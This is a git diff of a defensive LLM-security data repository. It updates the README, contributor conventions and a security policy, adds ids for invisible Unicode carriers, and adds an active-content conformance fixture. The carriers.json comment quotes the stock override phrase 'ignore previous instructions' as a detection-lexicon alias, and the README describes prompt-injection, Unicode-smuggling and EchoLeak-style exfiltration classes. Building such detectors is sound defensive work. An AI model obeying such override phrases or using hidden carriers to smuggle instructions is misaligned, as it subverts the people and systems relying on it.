|
1. **Re-extraction** — the owning runtime changed its own value, and this repository re-read the
|
||||||
|
source at a pinned public commit. Recorded in `source_fidelity.post_extraction_drift`.
|
||||||
|
2. **Retraction** — this repository described its own provenance wrongly. The stored value may
|
||||||
|
have been right all along; the account of where it came from was not. Recorded in
|
||||||
|
`source_fidelity.retracted`.
|
||||||
|
3. **Owner-directed authoring** — the owning runtime decided a value and asked this repository
|
||||||
|
to carry it, because the dependency has inverted: the source now reads *this* file and holds
|
||||||
|
no literal to re-read. Recorded separately, in `source_fidelity.owner_directed_changes`,
|
||||||
|
precisely because calling it drift would assert that the source moved and commons followed —
|
||||||
|
which would be false in the one direction that matters.
|
||||||
|
|
||||||
|
What is **not** on that list is merit. Data extracted from an implementation is kept
|
||||||
|
behaviour-identical to it on purpose, because a copy that disagrees with its source is the exact
|
||||||
|
failure this repository exists to prevent. Producing one as a *fix* would be self-defeating. If
|
||||||
|
you believe an extracted value is wrong, say so — and expect the decision to be taken in the
|
||||||
|
runtime where the pattern is under test.
|
||||||
|
|
||||||
|
Data **authored here** rather than extracted — conformance payloads, flagged as
|
||||||
|
`authored_payloads` in `conformance/manifest.json` — is this repository's own to correct.
|
||||||
|
|
||||||
|
## Versioning
|
||||||
|
|
||||||
|
Two version numbers, and they are not locked to each other:
|
||||||
|
|
||||||
|
- **The repository tag** (`vX.Y.Z`) versions **the contract**: the file set, the key names, the
|
||||||
|
case ids, the disposition semantics.
|
||||||
|
- **Each JSON file's own `"version"`** is bumped when *that file* changes.
|
||||||
|
|
||||||
|
What counts as which:
|
||||||
|
|
||||||
|
| Change | Bump |
|
||||||
|
| --- | --- |
|
||||||
|
| New data field, new entry | minor |
|
||||||
|
| Changed or removed key, case id, or layout | **major** — consumers break |
|
||||||
|
| A change to what a conforming runtime *finds* | minor in 0.x, and the changelog says so |
|
||||||
|
|
||||||
|
That last row is why **the changelog entry is the thing to read before upgrading, not the
|
||||||
|
version number**. Pre-1.0, a release that changes findings is still a minor bump; only the entry
|
||||||
|
tells you whether your assertions move.
|
||||||
|
|
||||||
|
Consumers vendor **a tag, never `main`** — a conformance result can only be attributed to a tag.
|
||||||
|
Nothing polls for updates; when a change moves detection data, the maintainer notifies known
|
||||||
|
consumers directly, and their upgrade remains their own action on their own schedule.
|
||||||
|
|
||||||
|
## Checks to run before proposing a change
|
||||||
|
|
||||||
|
There is no CI. These four are the validation surface, they run offline in a second, and each
|
||||||
|
one has been confirmed to go red on a violation rather than merely green on a clean tree.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. Every JSON file is well-formed
|
||||||
|
find . -name '*.json' -not -path './.git/*' -print0 \
|
||||||
|
| xargs -0 -n1 python3 -m json.tool > /dev/null && echo OK
|
||||||
|
|
||||||
|
# 2. Every JSON file outside conformance/ carries a top-level "version"
|
||||||
|
find . -name '*.json' -not -path './.git/*' -not -path './conformance/*' -print0 \
|
||||||
|
| xargs -0 python3 -c 'import json,sys
|
||||||
|
missing=[p for p in sys.argv[1:] if "version" not in json.load(open(p))]
|
||||||
|
print("\n".join("MISSING version: "+p for p in missing) or "OK")'
|
||||||
|
|
||||||
|
# 3. Every spec carries its normative marker (prints offending files, nothing = clean)
|
||||||
|
grep -L 'Status: normative' spec/*.md || echo OK
|
||||||
|
|
||||||
|
# 4. Charter guard: no executable code has crept in
|
||||||
|
find . -type f \( -name '*.mjs' -o -name '*.js' -o -name '*.ts' -o -name '*.py' -o -name '*.sh' \) \
|
||||||
|
-not -path './.git/*' | grep . && echo 'CHARTER VIOLATION' || echo OK
|
||||||
|
```
|
||||||
|
|
||||||
|
They are written as shell one-liners rather than shipped as a script because a script would be
|
||||||
|
`.sh`, and check 4 would then fail on the tooling meant to enforce it.
|
||||||
|
|
||||||
|
What they do **not** check: whether a value is *correct*. Nothing offline can. That is what the
|
||||||
|
conformance corpus is for, and it runs in each consumer's own test suite against a pinned tag —
|
||||||
|
constraining two of the seven data files, which is a real limit and is stated in
|
||||||
|
[README.md](README.md) under **Known limitations**.
|
||||||
86
README.md
86
README.md
|
|
@ -16,6 +16,18 @@ unicode-carrier smuggling or active content in untrusted text, on any runtime.
|
||||||
|
|
||||||
**It holds no runnable code.** Data, specifications and fixtures only.
|
**It holds no runnable code.** Data, specifications and fixtures only.
|
||||||
|
|
||||||
|
## Table of Contents
|
||||||
|
|
||||||
|
- [Install](#install)
|
||||||
|
- [Requirements](#requirements)
|
||||||
|
- [What it does](#what-it-does)
|
||||||
|
- [Non-goals](#non-goals)
|
||||||
|
- [Known limitations](#known-limitations)
|
||||||
|
- [Contributing](#contributing)
|
||||||
|
- [Reporting a wrong entry](#reporting-a-wrong-entry)
|
||||||
|
- [Changelog](#changelog)
|
||||||
|
- [License](#license)
|
||||||
|
|
||||||
## Install
|
## Install
|
||||||
|
|
||||||
Nothing to install — this repository is **vendored into consumers**, not installed.
|
Nothing to install — this repository is **vendored into consumers**, not installed.
|
||||||
|
|
@ -24,7 +36,7 @@ As a `git subtree` (recommended: history is preserved and upgrades are a single
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
git subtree add --prefix vendor/commons \
|
git subtree add --prefix vendor/commons \
|
||||||
https://git.fromaitochitta.com/open/llm-security-commons.git v0.4.0 --squash
|
https://git.fromaitochitta.com/open/llm-security-commons.git v0.6.0 --squash
|
||||||
|
|
||||||
# later, to move to a newer tag
|
# later, to move to a newer tag
|
||||||
git subtree pull --prefix vendor/commons \
|
git subtree pull --prefix vendor/commons \
|
||||||
|
|
@ -34,7 +46,7 @@ git subtree pull --prefix vendor/commons \
|
||||||
Or pin a tag and copy — `fork-and-own` is an explicitly supported path:
|
Or pin a tag and copy — `fork-and-own` is an explicitly supported path:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
git clone --depth 1 --branch v0.4.0 \
|
git clone --depth 1 --branch v0.6.0 \
|
||||||
https://git.fromaitochitta.com/open/llm-security-commons.git
|
https://git.fromaitochitta.com/open/llm-security-commons.git
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
@ -51,24 +63,24 @@ and keeping it that small is the point.
|
||||||
| Path | Contents |
|
| Path | Contents |
|
||||||
| --- | --- |
|
| --- | --- |
|
||||||
| [`lexicon/injection-lexicon.json`](lexicon/injection-lexicon.json) | Prompt-injection pattern lexicon: 83 patterns in four **severity** families (`critical`, `high`, `medium`, `hybrid`), each with a stable `id` and per-runtime aliases. The thematic class (`override:`, `evasion:`, `hitl-trap:`, …) is the id prefix, not the family. |
|
| [`lexicon/injection-lexicon.json`](lexicon/injection-lexicon.json) | Prompt-injection pattern lexicon: 83 patterns in four **severity** families (`critical`, `high`, `medium`, `hybrid`), each with a stable `id` and per-runtime aliases. The thematic class (`override:`, `evasion:`, `hitl-trap:`, …) is the id prefix, not the family. |
|
||||||
| [`codepoints/carriers.json`](codepoints/carriers.json) | Invisible and deceptive carriers: zero-width characters, BIDI controls, Unicode Tag block ranges, and the homoglyph map. |
|
| [`codepoints/carriers.json`](codepoints/carriers.json) | Invisible and deceptive carriers: zero-width characters, BIDI controls, Unicode Tag block ranges, and the homoglyph map. Carries three commons-owned ids (`carrier:zero-width`, `carrier:bidi-override`, `carrier:unicode-tag`) for the carriers observable on an input surface — the only id space here that was *named* rather than adopted verbatim from a runtime, and the file records why. |
|
||||||
| [`signatures/secret-egress.json`](signatures/secret-egress.json) | Credential and token shapes that must never leave a machine, in a portable regex dialect. |
|
| [`signatures/secret-egress.json`](signatures/secret-egress.json) | Credential and token shapes that must never leave a machine, in a portable regex dialect. |
|
||||||
| [`signatures/malware-signatures.json`](signatures/malware-signatures.json) | Known-bad **identity** for the malicious-code class (`SIG`): seven tight signatures over four families — PHP webshells, reverse shells, cryptominers, offensive tooling. Seven signatures are not malware coverage, and the file says so. |
|
| [`signatures/malware-signatures.json`](signatures/malware-signatures.json) | Known-bad **identity** for the malicious-code class (`SIG`): seven tight signatures over four families — PHP webshells, reverse shells, cryptominers, offensive tooling. Seven signatures are not malware coverage, and the file says so. |
|
||||||
| [`signatures/active-content.json`](signatures/active-content.json) | Active content that renders or fetches on its own — Markdown images, links, reference definitions and autolinks, `data:` URIs, active HTML. The EchoLeak class. |
|
| [`signatures/active-content.json`](signatures/active-content.json) | Active content that renders or fetches on its own — Markdown images, links, reference definitions and autolinks, `data:` URIs, active HTML. The EchoLeak class. Raw HTML carries **two** classes: `active:raw-html` for what a renderer acts on unattended, `active:raw-html-link` for anchors, which need a human. One pattern, one scan, two buckets — the file spells that out, because giving the second class its own pass would double-count. |
|
||||||
| [`calibration/calibration.json`](calibration/calibration.json) | The numbers a detector must not invent: risk-score tier constants, verdict thresholds, risk-band cutoffs, posture grade thresholds. Transcribed from a prose summary, not differentially verified — the file says so itself. |
|
| [`calibration/calibration.json`](calibration/calibration.json) | The numbers a detector must not invent: risk-score tier constants, verdict thresholds, risk-band cutoffs, posture grade thresholds. Transcribed from a prose summary, not differentially verified — the file says so itself. |
|
||||||
| [`mapping/owasp-map.json`](mapping/owasp-map.json) | Finding-id prefix → OWASP taxonomy entry (LLM / ASI / AST / MCP). |
|
| [`mapping/owasp-map.json`](mapping/owasp-map.json) | Finding-id prefix → OWASP taxonomy entry (LLM / ASI / AST / MCP). |
|
||||||
| [`schema/finding.schema.json`](schema/finding.schema.json) | **Normative.** The finding contract — closed against its producer, ten properties — plus the SARIF output profile. The JSONL profile is recorded as `not applicable`, with the reason. |
|
| [`schema/finding.schema.json`](schema/finding.schema.json) | **Normative.** The finding contract — closed against its producer, ten properties — plus the SARIF output profile. The JSONL profile is recorded as `not applicable`, with the reason. |
|
||||||
| [`schema/conformance-declaration.schema.json`](schema/conformance-declaration.schema.json) | **Normative.** The shape a runtime publishes alongside a conformance result: which commons tables it implements, the commons commit it measured, and the four verdict counts. Required by the corpus spec §1.1; not validated by anything here, because nothing here runs. |
|
| [`schema/conformance-declaration.schema.json`](schema/conformance-declaration.schema.json) | **Normative.** The shape a runtime publishes alongside a conformance result: which commons tables it implements, the commons commit it measured, and the four verdict counts. Required by the corpus spec §1.1; not validated by anything here, because nothing here runs. |
|
||||||
| [`spec/conformance-corpus.md`](spec/conformance-corpus.md) | **Normative.** How to read the corpus: what a case is, why `input.txt` is bytes rather than text, what `exact-within-scope` requires of a runtime, and how a runtime declares its table set so a case scoped outside it reads as `not-applicable` rather than as a failure. |
|
| [`spec/conformance-corpus.md`](spec/conformance-corpus.md) | **Normative.** How to read the corpus: what a case is, why `input.txt` is bytes rather than text, what `exact-within-scope` requires of a runtime, and how a runtime declares its table set so a case scoped outside it reads as `not-applicable` rather than as a failure. |
|
||||||
| [`conformance/`](conformance/) | 90 cases. One directory per case: `input.txt` in, `expected.json` out. Ground truth. 84 cover the injection lexicon — 83 one per pattern, both seeding runtimes measured producing the same verdict on all 83, plus one variant case gating a pattern form against its predecessor. Six cover active content and are measured against the one runtime that implements that table — `not-applicable` for the other, not failing. See [`conformance/manifest.json`](conformance/manifest.json). |
|
| [`conformance/`](conformance/) | 94 cases. One directory per case: `input.txt` in, `expected.json` out. Ground truth. 84 cover the injection lexicon — 83 one per pattern, both seeding runtimes measured producing the same verdict on all 83, plus one variant case gating a pattern form against its predecessor. Seven cover active content and are measured against the one runtime that implements that table — `not-applicable` for the other, not failing. Three cover the input-side carriers, added in v0.5.0. See [`conformance/manifest.json`](conformance/manifest.json). |
|
||||||
| `spec/decode-pipeline.md` | **Planned, still not shipped as of v0.4.0.** The decode order, in RFC 2119 language. Two runtimes that decode in different orders will disagree on identical input. Writing it needs the decode implementation, which is engine code and has not been supplied — and a normative spec guessed from a data dump would be worse than an absent one. |
|
| `spec/decode-pipeline.md` | **Planned, still not shipped as of v0.6.0.** The decode order, in RFC 2119 language. Two runtimes that decode in different orders will disagree on identical input. Writing it needs the decode implementation, which is engine code and has not been supplied — and a normative spec guessed from a data dump would be worse than an absent one. |
|
||||||
| [`docs/extraction-plan.md`](docs/extraction-plan.md) | Informative: where each file was seeded from, and what v0.1.0 promised. |
|
| [`docs/extraction-plan.md`](docs/extraction-plan.md) | Informative: where each file was seeded from, and what v0.1.0 promised. |
|
||||||
| [`docs/lexicon-port-divergence.md`](docs/lexicon-port-divergence.md) | Informative: a measured disagreement between two ports of the injection lexicon — 13 patterns that behave differently, in both directions. Most of it is still open, and the two rows that closed in v0.4.0 closed because the runtime that owns the value decided, not because this document found them wrong. |
|
| [`docs/lexicon-port-divergence.md`](docs/lexicon-port-divergence.md) | Informative: a measured disagreement between two ports of the injection lexicon — 13 patterns that behave differently, in both directions. Most of it is still open, and the two rows that closed in v0.4.0 closed because the runtime that owns the value decided, not because this document found them wrong. |
|
||||||
|
|
||||||
Every JSON file carries a top-level `version`. Every normative specification carries a
|
Every JSON file carries a top-level `version`. Every normative specification carries a
|
||||||
`Status: normative` marker. Rows marked **Planned** are named here because the layout is
|
`Status: normative` marker. Rows marked **Planned** are named here because the layout is
|
||||||
part of the contract, but the file does not exist yet — they are not links, and nothing in
|
part of the contract, but the file does not exist yet — they are not links, and nothing in
|
||||||
v0.4.0 depends on them.
|
v0.6.0 depends on them.
|
||||||
|
|
||||||
Each data file records its own provenance and, in `verified`, how strongly it is backed.
|
Each data file records its own provenance and, in `verified`, how strongly it is backed.
|
||||||
`calibration/calibration.json` is currently the one file that says `false`: it was
|
`calibration/calibration.json` is currently the one file that says `false`: it was
|
||||||
|
|
@ -89,25 +101,46 @@ in its own commit, with the reason written down.
|
||||||
There is **no CI in this organisation** and nothing runs that comparison automatically. It
|
There is **no CI in this organisation** and nothing runs that comparison automatically. It
|
||||||
runs in each consumer's own test suite, against a pinned tag.
|
runs in each consumer's own test suite, against a pinned tag.
|
||||||
|
|
||||||
The corpus covers two tables, and they do not carry equal weight — treating them as one
|
The corpus covers three tables, and they do not carry equal weight — treating them as one
|
||||||
number would misreport both:
|
number would misreport all three:
|
||||||
|
|
||||||
- `lexicon/injection-lexicon.json` — 84 cases over 83 patterns. Both seeding runtimes
|
- `lexicon/injection-lexicon.json` — 84 cases over 83 patterns. Both seeding runtimes
|
||||||
implement it and both ratified its id space. One pattern carries a second, variant case;
|
implement it and both ratified its id space. One pattern carries a second, variant case:
|
||||||
see `case_id_derivation.variant_suffix` in the manifest.
|
the rule for when that is legal is normative in [§6](spec/conformance-corpus.md), and
|
||||||
- `signatures/active-content.json` — 6 cases. One runtime implements it. For a runtime that
|
`case_id_derivation.variant_suffix` in the manifest carries the measurement behind it.
|
||||||
|
- `signatures/active-content.json` — 7 cases, one per published id, the seventh added in
|
||||||
|
v0.6.0 when the seed runtime split raw HTML into two carrier classes. One runtime
|
||||||
|
implements it. For a runtime that
|
||||||
does not, these cases are **`not-applicable`**, a third verdict beside pass and fail: a
|
does not, these cases are **`not-applicable`**, a third verdict beside pass and fail: a
|
||||||
runtime declares which commons data files it implements, and a case scoped outside that
|
runtime declares which commons data files it implements, and a case scoped outside that
|
||||||
set was never addressed to it. See [§1.1](spec/conformance-corpus.md) — and note that
|
set was never addressed to it. See [§1.1](spec/conformance-corpus.md) — and note that
|
||||||
`not-applicable` says the corpus did not ask, never that the runtime is blind.
|
`not-applicable` says the corpus did not ask, never that the runtime is blind.
|
||||||
|
- `codepoints/carriers.json` — 3 cases, added in v0.5.0. **Both** runtimes implement these
|
||||||
|
tables; only one has published a label for the finding. So these three are `not-applicable`
|
||||||
|
for the other *today*, and this is the one place in the corpus where that verdict records a
|
||||||
|
missing **name** rather than a missing capability. It lapses the moment that runtime names
|
||||||
|
its label and the alias is added.
|
||||||
|
|
||||||
Four cases remain unshipped, for the carrier and secret-egress tables, and neither is
|
One case remains unshipped, for the secret-egress table, and it is not blocked on effort. The
|
||||||
blocked on effort. Carriers has no adoptable id space: one runtime labels the same carrier
|
reasons are three, they were measured, and they are independent — none of them dissolves under
|
||||||
differently depending on pipeline stage, which would make a case's verdict depend on the
|
anything this repository can run alone. **(1) There is no id space on the commons side.** The
|
||||||
entry point it was measured through. Secret egress is not an id question at all — the two
|
seed this table was ported from carries a name and a pattern per entry and nothing else, so its
|
||||||
runtimes carry *different tables*, 19 entries against 25, cut at different granularities.
|
entries are keyed by human-readable name while the other runtime emits `egress:<id>` labels —
|
||||||
`conformance/manifest.json` records both blockers under `scope_planned.blockers`, measured,
|
and a fixture names labels. This is the hard blocker, and the only one of the three that an
|
||||||
so the gap is visible rather than inferred.
|
answer can resolve; the answer belongs to the runtimes that own the seeds, not to a name coined
|
||||||
|
here. **(2) Match semantics disagree**, and an id space would not close it: this table declares
|
||||||
|
first-match-wins with `ordering.normative: true`, the other runtime reports every match, and one
|
||||||
|
witness — an `Authorization` header holding a three-part JWT — produces one label here and two
|
||||||
|
there. That difference is exactly what an `expected.json` encodes. **(3) Membership diverges in
|
||||||
|
both directions, and the divergence is inherited rather than introduced.** The two sides hold 19
|
||||||
|
entries and 25, but they are ports of two *different* source tables in one source repository, so
|
||||||
|
re-measuring either port cannot close it. `conformance/manifest.json` records all three under
|
||||||
|
`scope_planned.blockers`, and the method behind every number is in
|
||||||
|
[the divergence measurement](docs/secret-egress-divergence.md).
|
||||||
|
|
||||||
|
The carrier blocker closed in v0.5.0 and is kept, with its retired text, under
|
||||||
|
`scope_planned.blockers_resolved` — including the correction one runtime volunteered against
|
||||||
|
a general rule this repository had written down and should not have.
|
||||||
|
|
||||||
## Non-goals
|
## Non-goals
|
||||||
|
|
||||||
|
|
@ -136,7 +169,7 @@ so the gap is visible rather than inferred.
|
||||||
table and a runtime implementing four can print the same number. `not-applicable` cases
|
table and a runtime implementing four can print the same number. `not-applicable` cases
|
||||||
must be reported, not dropped from the denominator — `76/83` and `76 passed, 6
|
must be reported, not dropped from the denominator — `76/83` and `76 passed, 6
|
||||||
not-applicable` describe different runtimes.
|
not-applicable` describe different runtimes.
|
||||||
- **The six active-content cases prove less than the 83.** Their payloads come from the only
|
- **The seven active-content cases prove less than the 83.** Their payloads come from the only
|
||||||
runtime that implements the table, so no second implementation's agreement could be
|
runtime that implements the table, so no second implementation's agreement could be
|
||||||
measured. They pin one runtime's behaviour as a contract a future implementer can be held
|
measured. They pin one runtime's behaviour as a contract a future implementer can be held
|
||||||
to; they are not cross-runtime agreement.
|
to; they are not cross-runtime agreement.
|
||||||
|
|
@ -150,6 +183,19 @@ so the gap is visible rather than inferred.
|
||||||
- **The homoglyph map is finite.** Confusable coverage is a long tail; absence from the map
|
- **The homoglyph map is finite.** Confusable coverage is a long tail; absence from the map
|
||||||
is not evidence a character is safe.
|
is not evidence a character is safe.
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
[CONVENTIONS.md](CONVENTIONS.md) is the whole rule set a change here is held to: the charter
|
||||||
|
(nothing runs, and why that is load-bearing rather than fussy), the file conventions, when a
|
||||||
|
detection value is allowed to move, how the two version numbers work, and the four offline
|
||||||
|
checks that stand in for the CI this organisation does not have.
|
||||||
|
|
||||||
|
It also answers the question the forge surface raises on its own: **pull requests are switched
|
||||||
|
off, deliberately.** This repository is vendored into independent runtimes that pin a tag, so a
|
||||||
|
change to detection data changes what they *find* — that has to be coordinated with each
|
||||||
|
consumer before it exists, which a merge button cannot do. Fork-and-own is the supported path;
|
||||||
|
a wrong entry is reported privately.
|
||||||
|
|
||||||
## Reporting a wrong entry
|
## Reporting a wrong entry
|
||||||
|
|
||||||
A wrong code point or a mis-escaped regex here is a silent false negative in every runtime
|
A wrong code point or a mis-escaped regex here is a silent false negative in every runtime
|
||||||
|
|
|
||||||
|
|
@ -18,7 +18,7 @@ detector, and that is a working bypass against every consumer until it is closed
|
||||||
|
|
||||||
Report privately by email:
|
Report privately by email:
|
||||||
|
|
||||||
- **hello@fromaitochitta.com**, with `SECURITY` at the start of the subject.
|
- **security@fromaitochitta.com**, with `SECURITY` at the start of the subject.
|
||||||
|
|
||||||
Pull requests are not the channel either — they are switched off on the canonical
|
Pull requests are not the channel either — they are switched off on the canonical
|
||||||
repository, and not as an oversight. This repository is vendored into independent runtimes
|
repository, and not as an oversight. This repository is vendored into independent runtimes
|
||||||
|
|
@ -45,8 +45,9 @@ In scope — all of these are real reports:
|
||||||
escaping is wrong for the declared dialect, missing or wrong flags, a pattern that fails
|
escaping is wrong for the declared dialect, missing or wrong flags, a pattern that fails
|
||||||
to compile in a documented engine and gets skipped rather than reported.
|
to compile in a documented engine and gets skipped rather than reported.
|
||||||
2. **A conformance fixture that sanctions a miss.** `expected.json` is ground truth: a
|
2. **A conformance fixture that sanctions a miss.** `expected.json` is ground truth: a
|
||||||
runtime that disagrees with it is deemed wrong. A fixture that expects too little makes
|
runtime that disagrees with it is deemed wrong (as scoped by `spec/conformance-corpus.md`
|
||||||
every conforming runtime wrong identically, and the corpus will not catch it.
|
§7.1, which narrows who that reaches and not this direction). A fixture that expects too
|
||||||
|
little makes every conforming runtime wrong identically, and the corpus will not catch it.
|
||||||
3. **A normative clause that mandates unsafe behaviour.** The `spec/` files bind the
|
3. **A normative clause that mandates unsafe behaviour.** The `spec/` files bind the
|
||||||
implementations that consume them, so a weak rule propagates to all of them.
|
implementations that consume them, so a weak rule propagates to all of them.
|
||||||
4. **A real secret or personal data in the repository or its history.** The history is
|
4. **A real secret or personal data in the repository or its history.** The history is
|
||||||
|
|
|
||||||
|
|
@ -1,8 +1,62 @@
|
||||||
{
|
{
|
||||||
"version": "0.1.0",
|
"version": "0.2.0",
|
||||||
"id": "carriers",
|
"id": "carriers",
|
||||||
"description": "Invisible and deceptive code-point carriers: characters and ranges that let text carry content a reader cannot see, or that let one script impersonate another. Six independent tables. They overlap but are NOT interchangeable, and this file deliberately does not merge them.",
|
"description": "Invisible and deceptive code-point carriers: characters and ranges that let text carry content a reader cannot see, or that let one script impersonate another. Six independent tables. They overlap but are NOT interchangeable, and this file deliberately does not merge them.",
|
||||||
"owasp": "LLM01",
|
"owasp": "LLM01",
|
||||||
|
"pattern_id_space": {
|
||||||
|
"added_in": "0.2.0",
|
||||||
|
"$comment": "Stable, commons-owned identifiers so a conformance fixture can name a carrier finding. Unlike `lexicon/injection-lexicon.json` and `signatures/active-content.json`, whose ids were adopted VERBATIM from a runtime's own labels, these three were NAMED HERE. That difference is the whole decision recorded below, and it is why this file carries no `label_format` field: no runtime's label format produces these strings.",
|
||||||
|
"field": "the `id` of each entry in `ids` below",
|
||||||
|
"scope_of_this_id_space": "The three carriers observable on an INPUT surface. This id space deliberately does NOT name the artifact-side observations of the same carriers - see `not_minted` below. An id here asserts that a carrier was OBSERVED in the scanned text; it asserts nothing about what any runtime did with it.",
|
||||||
|
"ids": [
|
||||||
|
{
|
||||||
|
"id": "carrier:zero-width",
|
||||||
|
"observes": "one or more code points from the `zero_width` table present in the scanned text",
|
||||||
|
"table": "zero_width",
|
||||||
|
"aliases": {
|
||||||
|
"llm_ingestion_guard": "sanitize:zero-width"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "carrier:bidi-override",
|
||||||
|
"observes": "one or more code points from the `bidi` table present in the scanned text",
|
||||||
|
"table": "bidi",
|
||||||
|
"aliases": {
|
||||||
|
"llm_ingestion_guard": "sanitize:bidi-override"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"id": "carrier:unicode-tag",
|
||||||
|
"observes": "one or more code points from the `unicode_tags` range present in the scanned text",
|
||||||
|
"table": "unicode_tags",
|
||||||
|
"aliases": {
|
||||||
|
"llm_ingestion_guard": "sanitize:unicode-tag"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"why_named_here_rather_than_adopted": {
|
||||||
|
"the_candidate": "The guard emits exactly three labels on the pinned input surface - `sanitize:zero-width`, `sanitize:bidi-override`, `sanitize:unicode-tag` - and offered them for verbatim adoption on 2026-08-11, on the same precedent that moved the lexicon's 83 ids into this repository. Adopting them would have cost nothing to invent.",
|
||||||
|
"why_not": "The other consuming runtime was asked directly whether `sanitize:` troubled it and answered that it did, with a reason that survives measurement: it detects and reports carriers and does not strip them, so an alias to an id named after stripping would make its conformance result read as a claim about neutralisation it never performed.",
|
||||||
|
"the_guard_s_counterargument_and_its_limit": "The guard's ruling was that the prefix names the DETECTOR - the producing module, carried in `Finding.detector` - and never an action, with `scan_output` emitting `output:zero-width-present` while mutating nothing as the decisive case. That is true of `scan_output`. It is NOT true of the surface the same ruling pinned for these three: measured 2026-08-13 at guard `be9759b` (v0.7.0), `sanitize(text, source=Source.INPUT)` returns `SanitizeResult.text != text` on all three carriers. The module named by the prefix does strip, on exactly the surface these ids are measured through.",
|
||||||
|
"the_decisive_one": "The guard also corrected us, unprompted, that `prefix == the detector field` holds for those six labels and is NO general law in its runtime: `egress:*` carries `detector=\"output\"`, and decode-and-rescan produces two-part `decoded:lexicon:*`. A prefix that means one thing inside one runtime and not the next is not a property a SHARED id space can rest on. Promoting it to the commons id would publish, to every future runtime, a prefix whose meaning is only recoverable by reading one implementation.",
|
||||||
|
"the_precedent_that_settles_the_shape": "`lexicon/injection-lexicon.json` already carries TWO different alias strings per id - `override:ignore-previous` aliases to the prose `\"override: ignore previous instructions\"` in one runtime and the kebab `\"override:ignore-previous\"` in the other. Neither runtime's label IS the id. Naming these three here is that same shape, not a new one.",
|
||||||
|
"not_a_mediation": "Both runtimes were asked and both answered before this was decided. The guard never claimed the shared id must equal its label - it argued that adopting verbatim was SAFE - and stated it would rather the id space be shared than private. `carrier:*` plus its alias is shared. Ratified by the operator 2026-08-13."
|
||||||
|
},
|
||||||
|
"llm_security_alias_deliberately_absent": {
|
||||||
|
"status": "PENDING - not an omission, and not the guard-only id space that was considered and rejected.",
|
||||||
|
"why": "That runtime's carrier findings carry no id today: `scanner: 'UNI'`, a severity and a prose title, stated by it on 2026-08-13. There is no alias string to publish, and this repository does not write detection data from recollection. It confirmed it will adopt commons ids for carriers and add its own label; the alias slot is filled when that label exists and is named to us, in a further minor bump of this file.",
|
||||||
|
"consequence_stated_rather_than_left_to_be_discovered": "That runtime derives its registered table set by walking each vendored file for any node carrying an `aliases.llm_security` key. Until this file carries one, `codepoints/carriers.json` is outside its declared set, and under spec/conformance-corpus.md section 1.1 the three carrier cases are `not-applicable` there - enumerated, never silently dropped, and neither passes nor failures. Publishing the alias is the act that changes this, and it is irreversible in the direction that matters: it obliges that runtime to run every case scoped to this file."
|
||||||
|
},
|
||||||
|
"not_minted": {
|
||||||
|
"$comment": "Recorded so that three ids reads as a decision rather than as an incomplete extraction.",
|
||||||
|
"artifact_side_observations": "The guard observes the same three carriers on its artifact surface too, under `output:zero-width-present`, `output:bidi-present` and `lexicon:unicode-tags-present` - note that the third is NOT `output:`-prefixed, which is intentional and stable in that runtime: the tag DECODE lives in its lexicon module and the presence signal is the same mechanism read at a different depth. No commons id is minted for these. The other runtime has no artifact surface for carriers, so minting them would produce cases it could only fail, and a permanently red gate is one a reader learns to ignore.",
|
||||||
|
"the_zwj_exemption": "U+200D between two emoji is EXEMPT on both of the guard's surfaces since v0.6.1, verified here 2026-08-13 at `be9759b`: `family <emoji>ZWJ<emoji> here` produces no finding and leaves the text unmodified, while a bare U+200D between two letters produces `sanitize:zero-width`. This is a real behavioural boundary and a candidate for a variant case (`carrier__zero-width--emoji-zwj-exempt`). It is NOT minted here because only three cases were ratified, and because whether the exemption is a shared rule or one runtime's policy has not been put to the other runtime."
|
||||||
|
},
|
||||||
|
"verified": {
|
||||||
|
"method": "Every id's alias was measured, not transcribed: guard v0.7.0 (`be9759b`) was extracted to a scratch tree and each carrier probe run through `sanitize(text, source=Source.INPUT)`, reading `.report.findings`. The three labels above are what that surface emitted, with `detector=\"sanitize\"` on all three and severities HIGH / HIGH / CRITICAL. `disposition._CARRIER_LABELS` was read in the same execution and lists all six carrier labels, confirming the input/artifact split above.",
|
||||||
|
"date": "2026-08-13"
|
||||||
|
}
|
||||||
|
},
|
||||||
"$comment": "Extracted without behaviour change from llm-security/scanners/unicode-scanner.mjs (the charset constants) and llm-security/scanners/lib/string-utils.mjs (HOMOGLYPH_MAP), delivered as operator dump 2/2 through the local coord mailbox on 2026-08-09. The fold algorithm itself (NFKC normalise, then map lookup) is ENGINE code and stays in the consumer; only the table moves here. Character names are resolved from the Unicode character database via Python's unicodedata, not written from recollection.",
|
"$comment": "Extracted without behaviour change from llm-security/scanners/unicode-scanner.mjs (the charset constants) and llm-security/scanners/lib/string-utils.mjs (HOMOGLYPH_MAP), delivered as operator dump 2/2 through the local coord mailbox on 2026-08-09. The fold algorithm itself (NFKC normalise, then map lookup) is ENGINE code and stays in the consumer; only the table moves here. Character names are resolved from the Unicode character database via Python's unicodedata, not written from recollection.",
|
||||||
"provenance": {
|
"provenance": {
|
||||||
"source_repo": "llm-security",
|
"source_repo": "llm-security",
|
||||||
|
|
|
||||||
19
conformance/active__raw-html-link/expected.json
Normal file
19
conformance/active__raw-html-link/expected.json
Normal file
|
|
@ -0,0 +1,19 @@
|
||||||
|
{
|
||||||
|
"$comment": "Generated from a live measurement, not written by hand. Normative semantics: spec/conformance-corpus.md. Measurement header and per-runtime provenance: conformance/manifest.json.",
|
||||||
|
"case_id": "active__raw-html-link",
|
||||||
|
"input": {
|
||||||
|
"file": "input.txt",
|
||||||
|
"bytes": 50,
|
||||||
|
"sha256": "6ad8cf7e73ac910db9f127f6dd03b8ed73d715a4a7eb793f83d0d4e375236ea4"
|
||||||
|
},
|
||||||
|
"scope": [
|
||||||
|
"signatures/active-content.json"
|
||||||
|
],
|
||||||
|
"match": "exact-within-scope",
|
||||||
|
"findings": [
|
||||||
|
{
|
||||||
|
"pattern_id": "active:raw-html-link"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"observed_out_of_scope": {}
|
||||||
|
}
|
||||||
1
conformance/active__raw-html-link/input.txt
Normal file
1
conformance/active__raw-html-link/input.txt
Normal file
|
|
@ -0,0 +1 @@
